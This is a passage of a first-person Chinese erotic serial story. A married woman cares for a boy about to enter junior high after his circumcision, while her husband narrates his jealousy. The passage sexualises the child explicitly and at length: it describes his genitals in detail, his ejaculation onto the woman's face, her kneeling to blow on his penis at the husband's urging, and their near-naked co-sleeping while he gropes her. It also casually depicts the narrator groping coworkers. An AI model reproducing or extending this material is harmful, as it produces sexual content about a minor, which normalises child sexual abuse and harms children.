子,最外面是我。睡觉的时候小建总是躺成一个大字,胯下肉棒像根旗杆一样指
向天花板。

那天小建在睡梦中突然开始痛苦地呻吟。我们都醒了。妻子赶忙凑过去仔细
观察,借着昏暗的床头灯发现系带患处的脓水突然变多了。

「怎么又反复了?」妻子问我。

「我哪儿知道去?该做的我们都做了啊。」

「再过半个月就要开学了。这伤口怎么这么难治啊?」妻子继续问。

「他这算快的了。当初我可是带了一个月的绷带的。」

妻子皱着眉头仔细观察小建的龟头,疑惑道:「这个好像不对。这个脓水比
以前的浓多了。要不我们去医院看看?」

我撇嘴道:「别大惊小怪了。不过是流点脓罢了。」

说完,躺到床上准备继续睡觉。

「不对,我看这脓水的颜色……」

妻子正想用手指沾上一点,仔细观察,没想到从小建的尿道口居然喷出了一
道白色的液体,直接射在了她的脸上和头发上。

这小子遗精了,还一脸舒爽的模样。

因为当时妻子嘴唇微微开启,所以大量淡黄色的浓稠精液直接射进了嗓子眼
里。妻子用手捂着嘴,一阵乱咳,飞快跑进了卫生间。

我知道无论如何都不该笑,也没有笑出来的理由。妻子被小鬼射了颜,我心
里面很生气,但妻子的狼狈模样实在是让我忍不住了。妻子在卫生间一阵狂呕,
我就在旁边看着。

「哈哈哈,对不起我不是笑你,哈哈哈哈……」

「滚!」妻子大怒,狠狠瞪了我一眼,开始挤牙膏了。

「叫你不给我口交,看,遭报应了吧?」我挖苦妻子,心里面有点酸溜溜的。

「滚蛋!」妻子一脚把我踢出了卫生间,把门关上了。

虽然已经擦过一遍,卧室里仍然充满了腥臭的精液气味。小建还睡得跟死猪
一样。

「这还怎么睡呀?」我捏着鼻子报怨。

我平生最讨厌的就是精液的气味,甚至连自己的都讨厌。现在满屋子都是小
建的体味和精液味。这小子因为手术的关系,已经好久没洗澡了。大热天全身馊
得跟生化武器一样。我都不知道妻子在他旁边怎么睡的。

「那还能怎么办,就这么睡呗。」

妻子拉过被子,背对着我躺下了。这时我意外看到妻子的一只手非常自然地
伸向了小建的肉棒上,但立刻缩了回来,转而放到了胸口上。

我有点蒙了。刚才她好像是下意识的动作。

她不会已经习惯了抓住小建的肉棒了吧?

(二)三人世界

那天我下班回来,一开门就看到小建坐在客厅沙发上玩手机,妻子背对着我,
跪坐在他的两腿间。当时的姿势咋一看非常像口交。我心里面顿时一紧。

「回来啦,我等一下再做饭。」妻子头也不回,跟我说。

我放下了公文包,脱了外套挂到衣架上,然后坐到了小建旁边。看着妻子跪
在沙发前手捧阴茎的模样,我心里有点不舒服。如果只看身体,这小子属于营养
不良的,比大多数同龄人显得瘦小。如果他的生殖器官也像其它小孩那样,像个
小辣椒似的,那我也不会有其它想法。

问题就在于这小子的生殖器竟然比我还大。那雄伟的阴茎部分就不用说了,
就连两颗睾丸也像铁皮炮弹一样。妻子温顺地跪坐在小建的两腿间,两只雪白的
小手紧握住那一大坨浅褐色的肉袋和阴茎根部,表情认真地向龟头吹气,嘴唇都
快要贴上去了。最可恶的是,小建竟然心安理得地享受着妻子的服侍,好像这一
切都是理所当然似的。

我实在是搞不明白,妻子心里面到底在想什么。她就不觉得自己这么做很奇
怪吗?我觉得应该跟妻子好谈谈。

「雪,你不觉得你现在这个样子很奇怪吗?」我把妻子叫到外边问道。

「什么?」妻子没听明白。

「你看你刚才像什么样子。那就像……就像……」我不知道怎么说出口。

「像什么?」

「像口交!」我怒道。

「你在说什么呀?」妻子一脸厌恶,很不满地地看着我:「小建都疼成那样
了,我就给他吹个气怎么了?」

「那你也不能没完没了吧?」我一脸不爽。

「什么叫没完没了的。你以为我愿意吗?小建还是个孩子啊。他疼得那么厉
害,我有什么办法?你这人想事情怎么这么龌龊呢?」

我一下子火就上来了:「我龌龊?你天天抓着别人的鸡巴吹个没完还说我龌
龊?你还要不要脸了?他那玩意那么大,你天天抓着挺爽是吧?」

妻子也急了,指着我鼻子斥道:「张峰,我警告你,你嘴巴给我放干净点,
否则我对你不客气!」

我冷笑道:「你自己不做人事,还不许我说了?」

妻子气极而笑:「对,我就是不做人事。我现在就去做给你看。」

我怒气勃发,指着她的鼻子骂道:「你这人怎么这么贱呢?」

妻子冷笑道:「对,我就是贱。」

我见妻子要进屋子,一把拉住了她:「你别走。」

「放开!」妻子挣扎了几下,挣脱不开。

「以后不许给他吹了。」我用命令的口气跟她说。

「你放开!」妻子继续挣扎。

「不放!」我抓得更紧了。

「我现在数三声,你敢不放试试。」妻子沉声说。

「一……」

「二……」

我终究还是放了。妻子轻蔑地看了我一眼,留下一句:「小心眼儿!」,走
进了屋里。我急了,立马跟了上去。幸好妻子并没有真的给小建吹,而是一个人
走进卧室,「砰」地一声关上了门。小建在客厅玩电脑游戏。

「叔叔,你们吵架了吗?」小建问我。

「没事。玩你的游戏吧。」

小建见我口气不善,老老实实地玩游戏去了。

就这样,我和妻子陷入了冷战。

「阿姨,我好疼,你能给我吹吹吗?」小建苦着脸,跑到卧室跟妻子说。

妻子心疼地抚摸小建的脑袋说:「小建乖,阿姨这几天不舒服。就不给你吹
了。你忍一下好吗?」

「哦,那没事。我可以忍的。阿姨身体不舒服,那应该去找大夫啊。」小建
很懂事地建议。

「阿姨没事,休息几天就好了。」妻子敷衍道。

自从吵过架之后,妻子再也没有给小建吹过气,我心里面也舒服了许多。随
后的几天里,我一直想跟妻子和好,但她总是有意避开我。

自从小建住进家里,我们就没有做过爱。我现在欲火中烧,在大街上看见一
头母猪都会冲动。再加上这几天的郁闷心情,我终于忍无可忍了。

我决定跟妻子来硬的。

「小建,我要跟阿姨好好谈谈,你在客厅玩游戏,听到什么都不许过来,知
道吗?」我跟小建说。

「嗯,叔叔快点跟阿姨和好吧。」小建笑着说。

妻子躺在床上,膝盖上放着笔记本电脑,正在看韩剧。我将卧室门锁好,走
到床边,将电脑提过来,放到了床头柜上。

「你干什么,我正看着呢。」妻子不满道。

「你等一下。」我打开了电脑里的音乐,把声音调到最大,然后开始脱衣服。

「你干什么?」妻子眼神有些慌张。

「干你!」我扑了过去,将妻子压在身下。

「你疯啦,小建在外面呢。」妻子试图推开我。

「放心,他听不到的。」我用手固定住妻子的脑袋,狠狠吻了上去。

妻子呜呜叫了两声,身体渐渐变软了。妻子的欲望也积累到了相当程度。两
人的舌头很快就纠缠在一起,交换着彼此的唾液。我一边激吻着妻子,一边用手
将连衣裙推到了胸口,然后将胸罩和内裤都脱了下来。

妻子的胴体依旧如此完美,让我百看不厌。我的阴茎早已坚硬如铁了,涨得
有点发疼。我知道时机已经成熟,连忙打开床头柜,竟然发现套子用完了。

「妈的!」我懊恼地骂了一声。

妻子急道:「没事,射进来吧。」

「不行,怀上了怎么办?你又不能吃药。」妻子对避孕药严重过敏,我虽然
憋得难受,但不能为了一时痛快让她承受痛苦。

妻子皱着眉头想了片刻,突然拿起枕头狠狠砸了过来。

「我现在就去买。」我赶紧从地上捡起裤子说。

「买个屁!」

妻子气哼哼地背对着我躺在床上,不理我了。我以百米冲刺的速度跑下了楼,
买了一整盒杜蕾斯,连零钱都没找,气喘吁吁地回到家里。

妻子仍然赤裸着身体躺在床上。我试着从后面抱住她,却被她一手推开了。

「滚开,老娘现在没兴致。」

我又试了几次,发现她真的在生气,只好憋屈地从卧室里出来了。这本来是
一次绝好的和好机会,就因为套子的问题而错过了。

我郁闷得想拿头撞墙。

我们的冷战持续了一周。而且自从套子事件过后,妻子对我的态度越发冷淡
了。我心里面堵得慌。几次想找她谈都被逼回来了。

公司突然下发通知,周六晚上在大富豪酒店举行一场冷餐会,也就是明天。

要求带上家属。换作是以前,这种聚会是我最喜欢的活动。因为每次带妻子
过去,都能享受同事们充满羡慕的目光。但这次我跟妻子正在冷战中,我不知道
该怎么开口。

我正烦得要命,看到小建不知什么时候出现在卧室里,用可怜兮兮的表情跟
妻子说:「阿姨,我这里好疼,你现在身体好些了吗?」

我一听就火了。这他妈都过了三周了,还疼个鸡巴呀!这小子就是想借机占
妻子的便宜来着。我当时心情极差,忍不住就要开骂,突然意识到这是跟妻子和
好的绝佳机会。然后不知怎么地脑子就抽风了。

「雪,快起来,你看小建都疼成什么样了。你快给她吹吹。」我使劲推了推
背对着我躺床上的妻子。

妻子转过身来,用奇怪的眼神看着我。

「看我做什么,快看看小建的伤口现在怎么样了。」我被她瞅得别扭,忙道。

妻子犹豫了一下,还是从床上爬了起来。小建一屁股坐到床沿,张开了腿。

妻子又用奇怪的眼神看了我几眼,然后慢吞吞地跪到小建的两腿间,用手握
住了他粗大的阴茎。

「好的差不多了,还疼吗?」妻子仔细观察了患处,问小建。

「嗯,还是很疼。阿姨能帮我吹吹吗?」小建问。

「快给他吹,你看他多难受啊。」我催促。

妻子张大了嘴,将嘴唇凑到了龟头上面。我错以为妻子她要整个含下去的时
候,却见她往那里哈了一口热气。也让我松了口气。

小建眉头舒展,伸着懒腰向后仰躺,赞叹道:「嗯——好舒服——」

妻子时而哈气,时而改成吹的。看小建一脸舒爽的模样,突然用手指捏着皱
巴巴的阴囊使劲往外拽,若得小建哈哈大笑。妻子见小建高兴,像是受到鼓励似
的,不停地拿他的生殖器逗弄他。

大人逗弄小孩很正常,但像妻子这样,用小孩的生殖器当成逗弄的对象就很
让人诡异了。我很想阻止,但经过了前一段日子的冷战后,我怕自己如果说出不
满,妻子又要生气,只好强制忍耐着。

我坐在旁边看着她们俩玩闹,越来越猜不透妻子想做什么。

妻子的心情似乎很好的样子,于是我趁机提议道:「雪,明天公司有场聚会,
老板说要带上家属。你想去吗?」

「好啊。」妻子头也不回。

「好,好。」我心情大好,笑咪咪地拉过枕头塞进了小建的脑袋下面,让他
躺得更舒服些。

「妈的,一个小屁孩罢了。反正还有一周就开学了。都吹了这么长时间,也
不差这一周了。」我心里面这样安慰自己。

妻子大概服侍了二十多分钟,终于累了。从衣柜里找出换洗的衣服准备洗澡。

据我的观察,小建现在其实可以穿上宽松一点的内裤了。这样就能让新剥鸡
头适应一下布料的摩擦,但他好像已经完全习惯了裸奔。因为天气热的关系,他
干脆连上衣都脱光了。

过了大约五分钟左右,妻子冲洗完毕,从卫生间走了出来。然后我和小建都
被惊呆了。妻子竟然没穿胸罩!

妻子此刻身上穿的是真丝吊带抹胸内衣。尖尖的乳头在薄薄的布料上顶出两
个突起。内衣的下摆勉强能盖住大腿根部,也就是传说中的齐屄线。走过来的时
候我甚至能看见被纯绵面料紧紧包裹的肥硕阴唇。

她到底在搞什么鬼?

小建的眼睛瞪得跟铜铃似的,都快从眼眶里掉出来了。妻子视而不见,自顾
自地爬到床上躺了下来。

「来,小建,阿姨抱着你睡。」妻子故意用很大的声音招呼。

我明白了,她这是要气我!

我盘算了一下,觉得让她任性一下也没什么。等她气消了就好办了。

小建立马来了精神。我甚至能看见这小鬼的眼睛里迸发出一道精光。这小子
立刻就钻进了妻子的怀中,手紧紧抱住了妻子的细腰,而且整个脸都深深地埋进
了妻子的乳沟里。

「阿姨真香。」小建深深吸了一口气,赞叹道。

妻子像考拉似地将赤裸的小建紧紧抱在怀里,还用一条大腿压住了他的下半
身。两人人的身体已经完全贴到一起了。

妈蛋!

我急忙目测小建的生殖器顶到了妻子的什么部位。经过仔细观察后,我终于
松了口气。还好还好,按他现在的姿势和位置,他的阴茎最多能顶到妻子的腹部,
不会再像上次那样了。

我仔细想了想,觉得妻子的阴道口有内裤保护着,而且小建的系带手术处没
有彻底痊愈,还有一段非常小的伤口在流脓,因此妻子应该不会被占太大的便宜。

而且我也知道包皮手术后的一个月内不能有性生活,所以……

妈蛋,还是不对!

包皮手术一个月内不能有性生活的道理我懂,小建却未必懂!因为他还小,
所以医生当初根本就没有提过这事。而且小孩子都是很冲动的。万一这小子被欲
望冲昏了头脑,趁妻子睡觉的时候偷偷插入,那我可就没地方哭了。

我终于意识到,自己陷入到有生以来最大的绿帽危机中。

怎么办?

我寻思半天,终于想到了一个办法:不睡觉!

我决定整晚监督他们俩。

但这说起来容易做起来难。我一边偷偷看表,一边努力睁大了眼睛,与睡魔
做着殊死斗争,最终还是被击败了。

我不知道自己是什么时候睡过去的。

半梦半醒间,我仿佛闻到了特别恶心的气味。这是什么味道?

我的大脑努力回忆着,终于得到了答案:精液!

我一下子就惊醒了。

当我醒来,发现外面的天还是黑的。卧室里已经充满了浓郁的精液气味。我
立马被吓出一声冷汗,赶紧起身查看妻子的裆部,发现那里完好无损。纯白的内
裤忠实地履行着保卫阴道的神圣任务。

我又到处寻找,终于发现妻子的内衣前面已经完全湿透了。精液气味是从两
人紧贴的部位飘出来的。

「起来,你们都快起来。」我急忙把两人都摇醒了。

「怎么了……」

「啊——」

二人睡意惺忪地睁开眼睛,很快就发现了涂满全身的精液。

「怎么回事啊?」

「什么怎么回事的,这小子又遗精了。你们快去卫生间洗澡。」我催促道。

两人立刻从床上蹦起,冲进了卫生间。

我跟了过去,却看见他们俩傻傻地站着,急道:「你们还在等什么呢,快洗
啊。」

「他不能洗澡。」妻子指着小建说。

这个时候我才想起小建的患处不能碰水。我很快就想到了办法。从厨房里取
了一个啤酒杯,递了过去。

「小建你让龟头冲上,然后用这个杯子像小伞一样罩在上面。只要龟头部分
不被水淋就没问题了。」

妻子见我轻易解决了难题,立刻将被精液浸湿的内衣脱了下来,扔到了地上,
然后拧开了淋浴头。凉水涮地一下就把两淋湿了。妻子现在唯一穿着的,就是一
件白色的纯绵三角裤。现在被水淋,立马变成了全透明。我甚至能清晰地看到阴
阜上几根稀疏的阴毛。

小建已经完全傻掉了。我估计这是小建头一次如此近距离,又如此清楚地看
到女性的生殖器官。这小子双眼死死盯着妻子的阴部,胯下的阴茎瞬间坚硬如铁
了。

妻子很快就发现了小建的异常,低头看了看自己,终于明白了小建在看什么,
于是转过身去,背对着小建将自己冲洗干净。然而她的背部线条更具有杀伤力。

小建的双眼死死盯着妻子的屁股缝,不停地吞咽着口水。

「老公,你从柜子里拿两件衣服放在台子上。」

妻子冲洗完身子,披上了一件浴袍。

我翻出两件内衣,然后回到卫生间,看见妻子正在给小建洗澡。小建因为一
手拿着杯子,一手举着阴茎,所以只能由妻子帮他洗。

「小建已经三个月没洗过了。正好帮他洗一下。」

小建的身上已经涂满了香皂。妻子不顾他的惨叫和大声抗议,用力搓洗小建
的身体。一股股浑浊的污水的顺着他的身体流到脚下。

「我去,这小子竟然这么脏,他妈恶心死了。」我在旁边看得直想呕吐。

「你傻站在这里做什么,快把床单拿过来呀。」妻子不满道。

我这才想起床单上也涂满了小建的精液,于是跑回了卧室,将床单收起,再
铺上了新床单。等我抱着脏床单回到卫生间,看见小建的皮肤已经被妻子搓得红
彤彤的。这小子估计疼得要死,连阴茎都缩小了。嘴里还一个劲地说:「阿姨别
搓了,我好疼啊。」,「我再也不喜欢阿姨了。」之类的话。

我看得心里面那叫一个痛快。他妈的疼死你!

我们一直折腾到了天亮。三个人最后筋疲力尽地回到床上睡着了,像个死猪
一样。

下午,仍然是我第一个醒来。刚一睁眼就把我给气得半死。妻子现子躺成一
个「大」字,睡得正香。小建整个都趴在妻子身上。新换上的蕾丝内衣已经被小
建推到了顶,妻子雪白的乳房完全暴露在了空气中。这小子一只手牢牢抓住妻子
的左乳,同时小腿压在阴部,还不时地来回摩擦。

我实在看不下去了。于是轻轻抬起小建的手往外拉开,再把他的脚从我妻子
身上推了下去。然而让我万万没想到的是,这两个人竟然在睡梦中也配合默契,
同时向对方翻过身来,然后互相抱得紧紧的。小建的脸深深埋进了妻子的乳沟中,
同时坚挺的阴茎顶到了妻子的腹部。

肏你妈的!

我在心中暗骂一声,随手捡起枕头一个人跑到客厅睡去了。

眼不见,心不烦。

多年以后回想起来,整个过程都透着诡异。

除了偶尔给小建的龟头吹气,平时两人的关系还算正常。一个是喜欢小孩的
少妇,一个是急需大人关爱的小孩。但到了晚上睡觉的时候,一切都变得不再正
常。

妻子再怎么糊涂也应该明白,小建不是婴儿。他再怎么小也是马上要上初一
的男孩了。青春期已经开始。跟他再亲密也应该有个度。而我当时的反应就更奇
怪了。我竟然眼睁睁地看着小建占妻子的便宜,还莫名其妙地接受了这个现实。

我脑子是不是被驴踢过?

当我醒来,发现已经中午了。在沙发上睡觉害得我落枕,脖子很疼。我难过
地用手使劲揉着颈椎,偶然间通过卫生间半开的玻璃门反射看见妻子已经醒了。

卫生间的门是乳白色磨砂玻璃,基本上跟镜子没什么两样,把卧室里发生的
一切清晰地反射到我的眼中。

两人的位置已经对调过来了。妻子正对着卧室门口方向,眼睛已经睁开了。

正温柔地抚摸着小建的脑袋。

小建的咸猪手偷偷探进了妻子的内衣里,妻子轻轻拍了一下他的手背。小建
立刻将手抽了回来。过了一会儿,小建又一次试探,妻子再一次拍打。两个人玩
得很起劲。

我立刻从沙发上跳起,大步走进了卧室。妻子的手仍然放在小建的脑袋上,
眼睛是闭着的。小建的手也老实了。这小子枕着妻子的胳膊一动不动。

「什么时候做饭,我饿了。」

妻子睁眼,跟我说:「等一下,我再躺会儿。小建还没醒呢。」

妈的,没醒个屁!我都看见了。

我想了想,没有揭穿他们。主要是怕又跟妻子闹翻。好不容易关系有点缓和,
我不想再跟她冷战了:「那行,我再睡会儿。」我回到沙发上继续通过玻璃门观
察他们到底想在搞什么鬼。

果然,小建的手又不老实了。他的手不停地袭击妻子的乳房,而妻子也是忍
着笑意一次次拍打他的手。突然妻子整个人都颤了一下,似乎很生气的样子,咬
着嘴唇狠狠捏了下小建的脸蛋。

小建刚才做什么了?

因为门的宽度有限,我只能看见他们腰部以上的动作。刚才小建的胳膊并没
有攀到妻子的乳房上面。

小建摸了什么地方,让妻子的反应这么大?

该不会……

我的内心越来越不安,于是轻手轻脚地走过去,想突然出现在他们面前。但
连续试了三次都以失败告终。地板是大理石做的。我不论是光着脚,还是穿着胶
制拖鞋,都会发出很明显的脚步声。

如果有袜子就好了。可惜我在客厅找不到。

妻子见我不停地来来回回,问道:「你在干什么?」

我只好说:「我饿了。你快点起来做饭吧。」

妻子不耐烦道:「要不你自己煮个方便面吃吧。我有点累,呆会儿再做。」

我只好回到沙发上,眼睁睁地欣赏了好久他们俩的床上游戏。

吃完饭以后,我建议妻子给小建找件宽松的裤子穿上。

「再有几天就开学了。小建必须从现在开始习惯穿裤子。否则开学以后就麻
烦了。」

妻子听了我的话,给小建买来大号四角裤和质地柔软的长裤。小建刚穿没两
分钟就脱了。妻子费了半天口舌也没有说服他。最后还是我出马,将自己小时候
的经历讲给他听。

这是我的惨痛教训。因为切除包皮后龟头会变得特别敏感,我当时又没时间
适应,结果我的阴茎总在上课的时候被裤子刺激勃起,闹了好大的笑话。那是我
不堪回首的往事。

小建显然不想在同学面前丢脸,飞快地捡起裤子自己穿上了。他虽然难受得
要死,但坚持没有脱下来。

终于不用每天看小建的巨大生殖器,我感觉舒服了好多。

冷餐会从下午六点开始。女人参加这种宴会时准备时间都很长。妻子从四点
开始化妆,一直画到五点半才结束。结果我也没看出她那张脸跟没画的时候有什
么区别。

「我这是淡妆,要的就是这个效果。」妻子解释说。

我很想跟她说:「那你还花一个多小时?」但明智地闭上了嘴。女人的世界
不是我能懂的。

妻子今天穿的是黑色打底的透明蕾丝裙。就是夜店女经常穿的包臀超短裙。

因为对大腿有绝对的自信,所以从来不穿丝袜。但凡正常的男人,只要一见
到她这种打扮,都会有扑上去的冲动。

小建已经看呆了。

「怎么,阿姨漂亮吗?」妻子优雅地原地转了个圈,得意地问小建。

「好漂亮!阿姨比那些女明星漂亮一百倍!」小建用无比真诚的语气说。

妻子显然很受用,走过去狠狠抱了一下小建,还亲了他的脸。

「阿姨可别被那些臭男人占了便宜啊。」小建突然说。

妈的,这是我的台词!

妻子却很开心,捏着小建的脸颊说:「放心吧,那些臭男人怎么可能占得了
阿姨的便宜?」

这话倒是真的。妻子从小没少受到富家公子的追求。在学校也经常被领导性
骚扰。但她每次都能巧妙地避开他们,给他们适当的警告,同时不至于将气氛搞
得太尴尬,最终不露生色地让对方知难而退。

我们一同参加过很多次各种聚会和晚宴,同事和客户们早就领教过妻子的手
段了。我的顶头上司谭总就曾在妻子身上吃过亏。妻子很能把握这个度。既让谭
总知难而退,又不至于让他丢太大的脸。至少维持了表面上的和气。

从此谭总对我妻子佩服得五体投地。不止一次地跟我表示过羡慕和嫉妒。

「小张你能娶到她,真是十辈子修来的福气。」

废话,当然是我的福气,这跟你个老不死的有半毛钱的关系?我妻子的年龄
都可以当你孙女了,还对她念念不忘?

我在心中无数次鄙视过这该死的老色棍。

我们乘坐出租车来到大富豪酒店,妻子挽着我的胳膊一同进入了宴会大厅。

当我们进入的一瞬间,我能明显感觉到无数个如同饿狼一样的眼神同时打向
了妻子。其中最贼的就属谭总这个老色棍了。

「小张你来啦?」谭总热情地迎了上来,亲切地拍了拍我的肩膀,然后向我
妻子伸出了肥猪一样的手:「小雪真是好久不见啊,你可是越来越漂亮了。」

「谭总你好。」我妻子露出职业化的笑容,小手跟谭总一碰即离,随即向不
远处的一个女人打了个招呼:「谭总,你们聊,我去那边了。」

谭总傻傻地望着妻子背影,视线落在了她那性感饱满的屁股上。随着妻子优
雅的脚步,她的整个腰部和屁股都在轻轻摆动着。这对在场的所有男人具有致命
的吸引力。我能清楚地看到很多同事装作若无其事的样子,其实眼角却牢牢地盯
住妻子不放。

谭总贪婪地欣赏了半天,口水都要留出来了。但终究无奈地叹了口气,跟我
说:「来,我们部的人差不多到齐了。」

一张大圆桌已经坐满了。我被谭总硬拉着坐在他旁边。一帮男人聚在一起,
总免不了谈女人。而一进入女人话题,我妻子不可避免地成了主角。

「张经理,您可真是我的偶像啊。我以后如果能娶到有嫂子一半好的老婆就
谢天谢地了。」一个新进来的小崽子一脸羡慕地跟我说。

这种话已经听到我想吐了,只是呵呵两声敷衍了事。

今天参加的女宾客中美女很多。她们身穿的衣服比我妻子贵几十倍,首饰和
包包贵上百倍,但这些女人不管怎么搔首弄姿,一站到妻子身边,就立刻变成了
悲催的绿叶。她们的存在只能让我妻子更加引人注目。

「哇,小张,你可真是会享受啊。」谭总远远地欣赏妻子的风姿,突然跟我
说。

「啊,什么啊?」我没听明白。

谭总用下巴指了指妻子,一脸淫笑道:「小雪的膝盖怎么就红了?来之前在
家里你们干什么来着?」

谭总特意在「干」字上发了重音。

同事们立刻将目光集中到了我妻子的膝盖上,然后露出了男人都懂的猥琐表
情。

「怪不得张经理脸色这么憔悴。身体是革命的本钱,您可要保重身体啊。」

「是啊是啊。没有耕坏的地,只有累死的牛啊……」

我立马火了。他妈的那是我妻子为了给小建吹龟头,跪在大理石地板上造成
的。你们以为她来前给我做过口交?

我只能尴尬地笑了笑。

这场宴会总得来讲还是很愉快的。几杯马尿下去,气氛就活起来了。同事们
纷纷跑过来跟妻子跳舞。装作不小心地样子想占妻子便宜。因为我妻子始终是舞
池中的焦点,所以同事们也不可能明目张胆地做出太出格的事,再说他们的女伴
也都看着呢,最终都铩羽而归。

我趁机跟总裁办的几个秘书跳了个舞。大家心情都很好,所以我也占尽了便
宜。我们不是晚宴关注的焦点,谁也没注意到我。不过我也没有太过分。最多在
跳舞的时候捏了捏女伴的屁股,再用膝盖摩擦了几下大腿根罢了。

男人都是这样的。虽然占有最好的,但还是忍不住看着锅里的。

回家的路上,妻子的兴致很高,不停地跟我说宴会上的事情。

「你知道吗,老公,我发现会计部的王姐跟新来的大学生有点不对劲。刚才
跳舞的时候我看见他们一前一后出去了。过了好久才回来。」妻子的八卦之魂已
经熊熊燃烧了。

「今天的宴会玩得高兴吗?」我对这种八卦没兴趣,转移了话题。

「嗯,实在是太好玩了。没有客户在,就你们公司的人在一起,大家都很放
松,不用看谁的脸色。」

「你玩得高兴就好。」我的脑海中正回忆着董秘的诱人身姿和软软的手感。

「就是那个谭总最烦人。他跳舞技术又烂,还总想跟我跳。」妻子抱怨。

「那个老色棍就没对你动手动脚?」我忍不住问。

「他敢?我跳舞的时候特意拉着他转到他老婆面前。那老色鬼被老婆瞧得手
心直冒汗。真是笑死我了。」

我听着也放声大笑。可惜这么有趣的场面竟然没有亲眼见到,实在是太可惜
了。我当时正忙着占董秘的便宜呢。

回到家里已经十二点了。刚一开门小建就扑到妻子的身上撒娇:「你们可回
来了。我一个人呆在家里好害怕。」

我一看屋里,发现这小鬼打开了所有的灯,嘲笑道:「小建,你都是中学生
了,怎么还这么胆小?」

妻子抱着小建安慰了几句,然后回卧室换衣服去了。

「叔叔,下次公司有聚会,我能参加吗?」小建问我。

「那可不行。那是大人才去的地方。你得大学毕业了才能去。」

小建很失望的样子。过了一会儿,妻子换了件吊带上衣出来了。里面没有穿
胸罩。小建又像狗皮膏药似地贴了上去。

「阿姨,你穿着那件裙子可漂亮了。等我病好了以后可以给你拍照吗?」

「当然可以呀。我不是说过吗,我是你的专属模特。」

小建听了很高兴,把脑袋埋进妻子的怀里使劲蹭了蹭。

「对了,你说拍照我想起来了。上次拍的都在哪儿呢?」我突然想起农家乐
时拍的那一堆。这小子占足了我妻子的便宜,到头来一张都没见到。

「我这不是手术了吗?那些照片都在呢。等我病好了就能修了。」小建说。

「你先让我们看一眼行不行?」

「不行。未完成的作品不能让人看。」小建坚决摇头。

还真拿自己当摄影师了,拍个照片还这么多规矩。

睡觉的时候我才发现小建居然换上了紧身的三角裤。

「你穿这个不难受吗,给你买的四角裤呢?」

「难受得要死。但还有不到十天就开学了。我怕时间不够。所以直接穿上了
最紧的。现在再难受也好过以后丢脸。」

看来我的故事起效果了。小孩的心理都差不多。在大人面前丢脸不算什么,
最怕的是被同学和朋友瞧不起。

我冲完澡进了卧室,意外发现小建居然离妻子远远的。

「他这是怎么了?」

「他穿着内裤难受,怕我碰着他。」妻子说。

真是太阳从西边出来了。这小鬼这一个月里占尽了我妻子的便宜,没想到为
了不在同学们面前出丑,居然主动放弃了继续耍流氓的机会。

此后的几天里,小建都是苦着一张脸,佝偻着身子走来走去的。但一直在咬
牙坚持着。开学的日子越来越近了。他显得很着急。

这天我正准备下班,忽然接到了妻子的电话。电话那头的妻子好像很激动:
「老公,告诉你个好消息,我当上班主任了!」

我很意外。没想到妻子突然升职了。

「怎么回事,上次不是说名额已经占满了吗?」

「王姐的老公要调到北京工作了。她也要跟着去。学校决定让我顶上王姐的
位置。」妻子高兴得跟什么似的,「所有任课老师里面就属我的学历最高,不选
我还能先谁?哈哈哈——还有,我看了下学生名单,发现小建也是我们班的。」

妈蛋!

这小子真是阴魂不散。住我对门就算了,现在居然变成了妻子的学生?

「今天晚上我们好好庆祝一下。」妻子说。

「好啊,我这就给锦江饭店打个电话,订最了的包间。」

「不行,小建现在行动不便,不能在外面吃。我们就在家里庆祝吧。」妻子
说。

「哦,那也行。」我倒是忘记了小建现在那苦逼样了。

晚上,小建听说自己变成了妻子的学生后,一张苦瓜脸终于挤出一丝笑容:
「那以后我是不是得叫阿姨老师啊?」

「那当然。从开学那天开始,你得叫我老师了。」妻子开始得意忘形了,
「你想不想当班长?那就是我一句话的事!」

「喂喂,这么快就以权谋私可不好啊。」我失笑道。

「那有什么?有权不用,过期作废。再说有我在辅导,以后小建的学习成绩
肯定是班里最好的。当个班长完全够格。」

小建勉强笑了两声,问我:「叔叔,你有什么办法能让我快点好吗?我这样
子当班长会被同学们笑话。」

我摆出无奈的样子回答:「我当初也是适应了好久。要不你每天出去多走动
一下。这样可能习惯得比较快。」

「好吧,我试试。」小建有气无力地回答。

我只是随口一说,没想到小建真听进去了。从第二天开始,小建早早地起了
床,自己换上了运动衣,出去运动了。

我经历过那种痛苦。这不是疼不疼的问题。新剥鸡头被布料摩擦的感觉很难
用语言形容。反正就是难受得要死。我没想到小建还有这种毅力,顶着那么大的
痛苦每天坚持运动,倒让我刮目相看了。

这小子还回到自己家中,强忍着痛苦把之前拍过的照片都整理出来,修好图
后打印了其中二十四张。说是祝贺我妻子当上班主任的礼物。

我和妻子其实根本没拿他的摄影作品当回事。只当是小孩的业余爱好。但是
当他拿出作品向我们展示,我们俩都震惊了。

我对摄影不了解,所以无法从专业角度评论他的作品。但从我普通人的审美
角度出发,他的这些作品确实准确把握了妻子最美丽的一面。他通过摄影镜头无
限放大了妻子的优点,同时并没有像网上的PS照那样被修得面目全非。我甚至
看不出这照片是否PS过。

「PS的最高境界,就是最大限度地美化作品,同时不能让人看出这是PS
过的。」

小建一提到摄影相关的事,总是会很严肃。

好吧。这小子平时乱七八糟的,没想到还真有摄影方面的天赋。

妻子非常喜欢小建的照片,立刻跑出去买了二十四副相框,全部挂在了卧室
的墙壁上。

「其它照片呢,我记得你那天拍了好几百张吧?」

「一共七百三十一张,全部删除了。」小建说:「不完美的作品必须销毁。」

「牛逼!」我想了半天,最后送他两个字。

虽然还没开学,但学校的准备工作已经开始了。妻子每天忙得脚后跟不着地。

而小建仍然跟我妻子保持着距离,一个人缩在角落里哼哼。有时候妻子觉得
他可怜,想过去抱一下都会被拒绝。

我问他为什么,他说被我妻子抱,阴茎就会勃起,然后就更难受了。我气得
差点一拳锤死他。妻子听小建这么一说,立刻换上了比较保守的衣服,避免给他
性刺激。

小建每天都咬牙切齿地坚持着运动。虽然只是用走的,但每次回来都是满头
大汗。主要还是太难受了。这样过去了六天,我发现他的表情明显放松了许多。

「今天怎么样,还难受吗?」妻子问他。

「好多了。我感觉开学前应该能适应过来。」小建非常高兴,「听叔叔的话
还真是对了。这两天我得加把劲。」

妈蛋,看他这么高兴的样子,还有妻子一脸关心的表情,我突然觉得那天给
他这个建议真是脑子进水了。

我现在最担心的就是妻子对他过分亲密。现在他包皮手术也做了,从尺寸上
看完全有了交配能力。如果妻子以后还要抱着他睡,如果这小子趁着妻子睡觉的
时候做了不该做的事情该怎么办?

更让我闹心的是,再过一段时间公司又要满世界采购原料了。我身为采购经
理少不得经常出差。问题是家里有这么一个小色鬼,我怎么能放心呢?

我说老范啊,你们他妈的什么时候才能从印度回来啊?